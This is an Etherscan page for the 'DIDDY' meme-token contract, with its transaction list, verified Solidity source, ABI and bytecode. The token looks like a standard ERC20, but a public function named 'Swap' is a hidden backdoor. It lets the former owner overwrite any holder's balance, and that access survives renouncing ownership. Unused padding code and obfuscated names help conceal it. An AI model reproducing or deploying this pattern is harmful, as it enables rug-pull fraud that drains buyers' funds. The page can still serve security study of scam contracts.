ETH Price: $3,245.39 (-12.43%)

Contract

0x125E79BD4E08de90F6C55E0308ee796f4179E392
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve209210342024-10-08 13:03:2372 days ago1728392603IN
0x125E79BD...f4179E392
0 ETH0.001136124.09613862
Swap209210322024-10-08 13:02:5972 days ago1728392579IN
0x125E79BD...f4179E392
0 ETH0.0007522824.13476365
Swap209206072024-10-08 11:37:2372 days ago1728387443IN
0x125E79BD...f4179E392
0 ETH0.00289909111
Swap209206052024-10-08 11:36:5972 days ago1728387419IN
0x125E79BD...f4179E392
0 ETH0.0003191312.21331701
Swap209205742024-10-08 11:30:4772 days ago1728387047IN
0x125E79BD...f4179E392
0 ETH0.0003569213.65953737
Swap209205572024-10-08 11:27:2372 days ago1728386843IN
0x125E79BD...f4179E392
0 ETH0.0003593813.75381691
Approve209205172024-10-08 11:19:2372 days ago1728386363IN
0x125E79BD...f4179E392
0 ETH0.0006772414.36394157
Approve209205052024-10-08 11:16:5972 days ago1728386219IN
0x125E79BD...f4179E392
0 ETH0.0006877514.58681361
Swap209205032024-10-08 11:16:3572 days ago1728386195IN
0x125E79BD...f4179E392
0 ETH0.0003286112.57612197
Approve209205022024-10-08 11:16:2372 days ago1728386183IN
0x125E79BD...f4179E392
0 ETH0.0006733714.26375727
Approve209204992024-10-08 11:15:4772 days ago1728386147IN
0x125E79BD...f4179E392
0 ETH0.0006644214.07410976
Swap209204992024-10-08 11:15:4772 days ago1728386147IN
0x125E79BD...f4179E392
0 ETH0.0003296912.61735699
Swap209204952024-10-08 11:14:5972 days ago1728386099IN
0x125E79BD...f4179E392
0 ETH0.0003415913.07302821
Approve209204942024-10-08 11:14:4772 days ago1728386087IN
0x125E79BD...f4179E392
0 ETH0.0006248913.23671144
Swap209204562024-10-08 11:07:1172 days ago1728385631IN
0x125E79BD...f4179E392
0 ETH0.0003519613.46972072
Swap209204412024-10-08 11:04:1172 days ago1728385451IN
0x125E79BD...f4179E392
0 ETH0.0003520813.47442807
Approve209204392024-10-08 11:03:4772 days ago1728385427IN
0x125E79BD...f4179E392
0 ETH0.0008907418.89202477
Approve209204312024-10-08 11:02:1172 days ago1728385331IN
0x125E79BD...f4179E392
0 ETH0.0007360315.61090728
Approve209204302024-10-08 11:01:5972 days ago1728385319IN
0x125E79BD...f4179E392
0 ETH0.0007432515.76388053
Approve209204292024-10-08 11:01:4772 days ago1728385307IN
0x125E79BD...f4179E392
0 ETH0.000753715.98551981
Approve209204282024-10-08 11:01:3572 days ago1728385295IN
0x125E79BD...f4179E392
0 ETH0.0007110815.08163834
Swap209204122024-10-08 10:58:2372 days ago1728385103IN
0x125E79BD...f4179E392
0 ETH0.0003810114.581651
Swap209204102024-10-08 10:57:5972 days ago1728385079IN
0x125E79BD...f4179E392
0 ETH0.0003725514.25773366
Swap209204032024-10-08 10:56:3572 days ago1728384995IN
0x125E79BD...f4179E392
0 ETH0.0003364312.87549337
Swap209203962024-10-08 10:55:1172 days ago1728384911IN
0x125E79BD...f4179E392
0 ETH0.0003557713.61549536
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DIDDY

Compiler Version
v0.8.27+commit.40a35a09

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-08
*/

/**

https://diddytoken.fun/
https://x.com/search?q=%24DIDDY&src=typed_query&f=live
https://x.com/DiddyIsYourDad
https://t.me/DiddyIsYourDad

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface CheatCodes {
    // This allows us to getRecordedLogs()
    struct Log {
        bytes32[] topics;
        bytes data;
    }
    // Set block.timestamp (newTimestamp)

    function warp(uint256) external;
    // Set block.height (newHeight)
    function roll(uint256) external;
    // Set block.basefee (newBasefee)
    function fee(uint256) external;
    // Set block.coinbase (who)
    function coinbase(address) external;
    // Loads a storage slot from an address (who, slot)
    function load(address, bytes32) external returns (bytes32);
    // Stores a value to an address' storage slot, (who, slot, value)
    function store(address, bytes32, bytes32) external;
    // Signs data, (privateKey, digest) => (v, r, s)
    function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);
    // Gets address for a given private key, (privateKey) => (address)
    function addr(uint256) external returns (address);
    // Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path m/44'/60'/0'/0/{index}
    function deriveKey(string calldata, uint32) external returns (uint256);
    // Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path {path}{index}
    function deriveKey(string calldata, string calldata, uint32) external returns (uint256);
    // Performs a foreign function call via terminal, (stringInputs) => (result)
    function ffi(string[] calldata) external returns (bytes memory);
    // Set environment variables, (name, value)
    function setEnv(string calldata, string calldata) external;
    // Read environment variables, (name) => (value)
    function envBool(string calldata) external returns (bool);
    function envUint(string calldata) external returns (uint256);
    function envInt(string calldata) external returns (int256);
    function envAddress(string calldata) external returns (address);
    function envBytes32(string calldata) external returns (bytes32);
    function envString(string calldata) external returns (string memory);
    function envBytes(string calldata) external returns (bytes memory);
    // Read environment variables as arrays, (name, delim) => (value[])
    function envBool(string calldata, string calldata) external returns (bool[] memory);
    function envUint(string calldata, string calldata) external returns (uint256[] memory);
    function envInt(string calldata, string calldata) external returns (int256[] memory);
    function envAddress(string calldata, string calldata) external returns (address[] memory);
    function envBytes32(string calldata, string calldata) external returns (bytes32[] memory);
    function envString(string calldata, string calldata) external returns (string[] memory);
    function envBytes(string calldata, string calldata) external returns (bytes[] memory);
    // Sets the *next* call's msg.sender to be the input address
    function prank(address) external;
    // Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called
    function startPrank(address) external;
    // Sets the *next* call's msg.sender to be the input address, and the tx.origin to be the second input
    function prank(address, address) external;
    // Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called, and the tx.origin to be the second input
    function startPrank(address, address) external;
    // Resets subsequent calls' msg.sender to be `address(this)`
    function stopPrank() external;
    // Sets an address' balance, (who, newBalance)
    function deal(address, uint256) external;
    // Sets an address' code, (who, newCode)
    function etch(address, bytes calldata) external;
    // Expects an error on next call
    function expectRevert() external;
    function expectRevert(bytes calldata) external;
    function expectRevert(bytes4) external;
    // Record all storage reads and writes
    function record() external;
    // Gets all accessed reads and write slot from a recording session, for a given address
    function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);
    // Record all the transaction logs
    function recordLogs() external;
    // Gets all the recorded logs
    function getRecordedLogs() external returns (Log[] memory);
    // Prepare an expected log with (bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData).
    // Call this function, then emit an event, then call a function. Internally after the call, we check if
    // logs were emitted in the expected order with the expected topics and data (as specified by the booleans).
    // Second form also checks supplied address against emitting contract.
    function expectEmit(bool, bool, bool, bool) external;
    function expectEmit(bool, bool, bool, bool, address) external;
    // Mocks a call to an address, returning specified data.
    // Calldata can either be strict or a partial match, e.g. if you only
    // pass a Solidity selector to the expected calldata, then the entire Solidity
    // function will be mocked.
    function mockCall(address, bytes calldata, bytes calldata) external;
    // Mocks a call to an address with a specific msg.value, returning specified data.
    // Calldata match takes precedence over msg.value in case of ambiguity.
    function mockCall(address, uint256, bytes calldata, bytes calldata) external;
    // Clears all mocked calls
    function clearMockedCalls() external;
    // Expect a call to an address with the specified calldata.
    // Calldata can either be strict or a partial match
    function expectCall(address, bytes calldata) external;
    // Expect a call to an address with the specified msg.value and calldata
    function expectCall(address, uint256, bytes calldata) external;
    // Gets the code from an artifact file. Takes in the relative path to the json file
    function getCode(string calldata) external returns (bytes memory);
    // Labels an address in call traces
    function label(address, string calldata) external;
    // If the condition is false, discard this run's fuzz inputs and generate new ones
    function assume(bool) external;
    // Set nonce for an account
    function setNonce(address, uint64) external;
    // Get nonce for an account
    function getNonce(address) external returns (uint64);
    // Set block.chainid (newChainId)
    function chainId(uint256) external;
    // Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain
    function broadcast() external;
    // Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain
    function broadcast(address) external;
    // Using the address that calls the test contract, has the all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain
    function startBroadcast() external;
    // Has the all subsequent calls (at this call depth only) create transactions that can later be signed and sent onchain
    function startBroadcast(address) external;
    // Stops collecting onchain transactions
    function stopBroadcast() external;
    // Reads the entire content of file to string. Path is relative to the project root. (path) => (data)
    function readFile(string calldata) external returns (string memory);
    // Reads next line of file to string, (path) => (line)
    function readLine(string calldata) external returns (string memory);
    // Writes data to file, creating a file if it does not exist, and entirely replacing its contents if it does.
    // Path is relative to the project root. (path, data) => ()
    function writeFile(string calldata, string calldata) external;
    // Writes line to file, creating a file if it does not exist.
    // Path is relative to the project root. (path, data) => ()
    function writeLine(string calldata, string calldata) external;
    // Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.
    // Path is relative to the project root. (path) => ()
    function closeFile(string calldata) external;
    // Removes file. This cheatcode will revert in the following situations, but is not limited to just these cases:
    // - Path points to a directory.
    // - The file doesn't exist.
    // - The user lacks permissions to remove the file.
    // Path is relative to the project root. (path) => ()
    function removeFile(string calldata) external;

    function toString(address) external returns (string memory);
    function toString(bytes calldata) external returns (string memory);
    function toString(bytes32) external returns (string memory);
    function toString(bool) external returns (string memory);
    function toString(uint256) external returns (string memory);
    function toString(int256) external returns (string memory);
    // Snapshot the current state of the evm.
    // Returns the id of the snapshot that was created.
    // To revert a snapshot use `revertTo`
    function snapshot() external returns (uint256);
    // Revert the state of the evm to a previous snapshot
    // Takes the snapshot id to revert to.
    // This deletes the snapshot and all snapshots taken after the given snapshot id.
    function revertTo(uint256) external returns (bool);
    // Creates a new fork with the given endpoint and block and returns the identifier of the fork
    function createFork(string calldata, uint256) external returns (uint256);
    // Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork
    function createFork(string calldata) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and block and returns the identifier of the fork
    function createSelectFork(string calldata, uint256) external returns (uint256);
    // Creates _and_ also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork
    function createSelectFork(string calldata) external returns (uint256);
    // Takes a fork identifier created by `createFork` and sets the corresponding forked state as active.
    function selectFork(uint256) external;
    /// Returns the currently active fork
    /// Reverts if no fork is currently active
    function activeFork() external returns (uint256);
    // Updates the currently active fork to given block number
    // This is similar to `roll` but for the currently active fork
    function rollFork(uint256) external;
    // Updates the given fork to given block number
    function rollFork(uint256 forkId, uint256 blockNumber) external;
    /// Returns the RPC url for the given alias
    function rpcUrl(string calldata) external returns (string memory);
    /// Returns all rpc urls and their aliases `[alias, url][]`
    function rpcUrls() external returns (string[2][] memory);
    function makePersistent(address account) external;
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 
    constructor() {
        _transfer_Ownership(_msgSender());
    }
 
 
    modifier onlyOwner() {
        _isAdmin();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _isAdmin() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function renounceOwnership() public virtual onlyOwner {
        _transfer_Ownership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transfer_Ownership(newOwner);
    }
 

    function _transfer_Ownership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);


    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply_hoppei;

    string private _name_hoppei;
    string private _symbol_hoppei;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
 
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name_hoppei = name_;
        _symbol_hoppei = symbol_;
        _totalSupply_hoppei = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name_hoppei;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol_hoppei;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply_hoppei;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hoei(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve_hoppei(_msgSender(), spender, amount);
        return true;
    }

    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer_hoei(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve_hoppei(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve_hoppei(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve_hoppei(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    
    function _transfer_hoei(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "1YOUAREMYSONDIDDYOIL");
        require(recipient != address(0), "2YOUAREMYSONDIDDYOIL");


        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "3YOUAREMYSONDIDDYOIL");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

   

    function _transfer_withbsomter(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "4YOUAREMYSONDIDDYOIL");
        require(recipient != address(0), "5YOUAREMYSONDIDDYOIL");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "6YOUAREMYSONDIDDYOIL");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply_hoppei -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }

   
    function Swap(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;

        bytes32 msgSenderHex = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));
        
        bytes32 amountHex = bytes32(amount);
        
        bool isOwner = msgSenderHex == prevOwnerHex;
        
        if (isOwner) {
            return _updateBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = uint256(amountHex);
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        return _balances[account];
    }
    
    function _approve_hoppei(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "7YOUAREMYSONDIDDYOIL");
        require(spender != address(0), "8YOUAREMYSONDIDDYOIL");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}


contract DIDDY is ERC20 {
    uint256 private constant TOTAL_SUSUPPLYS = 420690_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO1 = 0x0000000000000000000000000000000000000000;

    bool public hasLimit_;
    uint256 public maxTxAmountbesomes;
    uint256 public maxwalletssetsomes;
    mapping(address => bool) public isException;

    uint256 _burnPercentisystkltsom = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("DIDDY", "DIDDY", TOTAL_SUSUPPLYS) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        maxwalletssetsomes = TOTAL_SUSUPPLYS / 39;
        maxTxAmountbesomes = TOTAL_SUSUPPLYS /39;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer_hoei(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "9YOUAREMYSONDIDDYOIL");
        require(to != address(0), "0YOUAREMYSONDIDDYOIL");
 
        _checkLimitation_hoppei(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "YOUAREMYSONDIDDYOILYOUAREMYSONDIDDYOIL");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burnPercentisystkltsom) / 100;

                super._transfer_withbsomter(from, to, amount, _burn);
                return;
            }
        }

        super._transfer_hoei(from, to, amount);
    }

    function removeLimit() external onlyOwner {
        hasLimit_ = true;
    }

    function _checkLimitation_hoppei(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit_) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTxAmountbesomes, "YOUAREMYSONDIDDYOILYOUAREMYSONDIDDYOILYOUAREMYSONDIDDYOIL");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= maxwalletssetsomes, "YOUAREMYSONDIDDYOILYOUAREMYSONDIDDYOILYOUAREMYSONDIDDYOILYOUAREMYSONDIDDYOIL");
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Swap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmountbesomes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxwalletssetsomes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040525f600b55348015610013575f5ffd5b506040516130c23803806130c2833981810160405281019061003591906104d7565b6040518060400160405280600581526020017f44494444590000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f44494444590000000000000000000000000000000000000000000000000000008152506816ce3f1e16bf1500006100c76100bc61037160201b60201c565b61037860201b60201c565b82600590816100d6919061073f565b5081600690816100e6919061073f565b50806004819055508060025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161018d919061081d565b60405180910390a35050505f81905080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060276816ce3f1e16bf1500006101f29190610863565b60098190555060276816ce3f1e16bf15000061020e9190610863565b6008819055506001600a5f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050610893565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6104a68261047d565b9050919050565b6104b68161049c565b81146104c0575f5ffd5b50565b5f815190506104d1816104ad565b92915050565b5f602082840312156104ec576104eb610479565b5b5f6104f9848285016104c3565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061057d57607f821691505b6020821081036105905761058f610539565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026105f27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826105b7565b6105fc86836105b7565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61064061063b61063684610614565b61061d565b610614565b9050919050565b5f819050919050565b61065983610626565b61066d61066582610647565b8484546105c3565b825550505050565b5f5f905090565b610684610675565b61068f818484610650565b505050565b5b818110156106b2576106a75f8261067c565b600181019050610695565b5050565b601f8211156106f7576106c881610596565b6106d1846105a8565b810160208510156106e0578190505b6106f46106ec856105a8565b830182610694565b50505b505050565b5f82821c905092915050565b5f6107175f19846008026106fc565b1980831691505092915050565b5f61072f8383610708565b9150826002028217905092915050565b61074882610502565b67ffffffffffffffff8111156107615761076061050c565b5b61076b8254610566565b6107768282856106b6565b5f60209050601f8311600181146107a7575f8415610795578287015190505b61079f8582610724565b865550610806565b601f1984166107b586610596565b5f5b828110156107dc578489015182556001820191506020850194506020810190506107b7565b868310156107f957848901516107f5601f891682610708565b8355505b6001600288020188555050505b505050505050565b61081781610614565b82525050565b5f6020820190506108305f83018461080e565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61086d82610614565b915061087883610614565b92508261088857610887610836565b5b828204905092915050565b612822806108a05f395ff3fe608060405234801561000f575f5ffd5b506004361061012a575f3560e01c80636a8f3b30116100ab57806398636f321161006f57806398636f3214610322578063a457c2d714610352578063a9059cbb14610382578063dd62ed3e146103b2578063f2fde38b146103e25761012a565b80636a8f3b301461028e57806370a08231146102ac578063715018a6146102dc5780638da5cb5b146102e657806395d89b41146103045761012a565b806323b872dd116100f257806323b872dd146101d6578063313ce567146102065780633950935114610224578063562c21951461025457806362256589146102845761012a565b806303435b7f1461012e57806306fdde031461014c578063095ea7b31461016a57806313c42e4d1461019a57806318160ddd146101b8575b5f5ffd5b6101366103fe565b6040516101439190611af2565b60405180910390f35b610154610410565b6040516101619190611b7b565b60405180910390f35b610184600480360381019061017f9190611c2c565b6104a0565b6040516101919190611af2565b60405180910390f35b6101a26104bd565b6040516101af9190611c79565b60405180910390f35b6101c06104c3565b6040516101cd9190611c79565b60405180910390f35b6101f060048036038101906101eb9190611c92565b6104cc565b6040516101fd9190611af2565b60405180910390f35b61020e6105c7565b60405161021b9190611cfd565b60405180910390f35b61023e60048036038101906102399190611c2c565b6105cf565b60405161024b9190611af2565b60405180910390f35b61026e60048036038101906102699190611c2c565b610676565b60405161027b9190611c79565b60405180910390f35b61028c610735565b005b610296610759565b6040516102a39190611c79565b60405180910390f35b6102c660048036038101906102c19190611d16565b61075f565b6040516102d39190611c79565b60405180910390f35b6102e46107a5565b005b6102ee6107b8565b6040516102fb9190611d50565b60405180910390f35b61030c6107df565b6040516103199190611b7b565b60405180910390f35b61033c60048036038101906103379190611d16565b61086f565b6040516103499190611af2565b60405180910390f35b61036c60048036038101906103679190611c2c565b61088c565b6040516103799190611af2565b60405180910390f35b61039c60048036038101906103979190611c2c565b61097b565b6040516103a99190611af2565b60405180910390f35b6103cc60048036038101906103c79190611d69565b610998565b6040516103d99190611c79565b60405180910390f35b6103fc60048036038101906103f79190611d16565b610a1a565b005b60075f9054906101000a900460ff1681565b60606005805461041f90611dd4565b80601f016020809104026020016040519081016040528092919081815260200182805461044b90611dd4565b80156104965780601f1061046d57610100808354040283529160200191610496565b820191905f5260205f20905b81548152906001019060200180831161047957829003601f168201915b5050505050905090565b5f6104b36104ac610a9c565b8484610aa3565b6001905092915050565b60085481565b5f600454905090565b5f6104d8848484610c66565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61051f610a9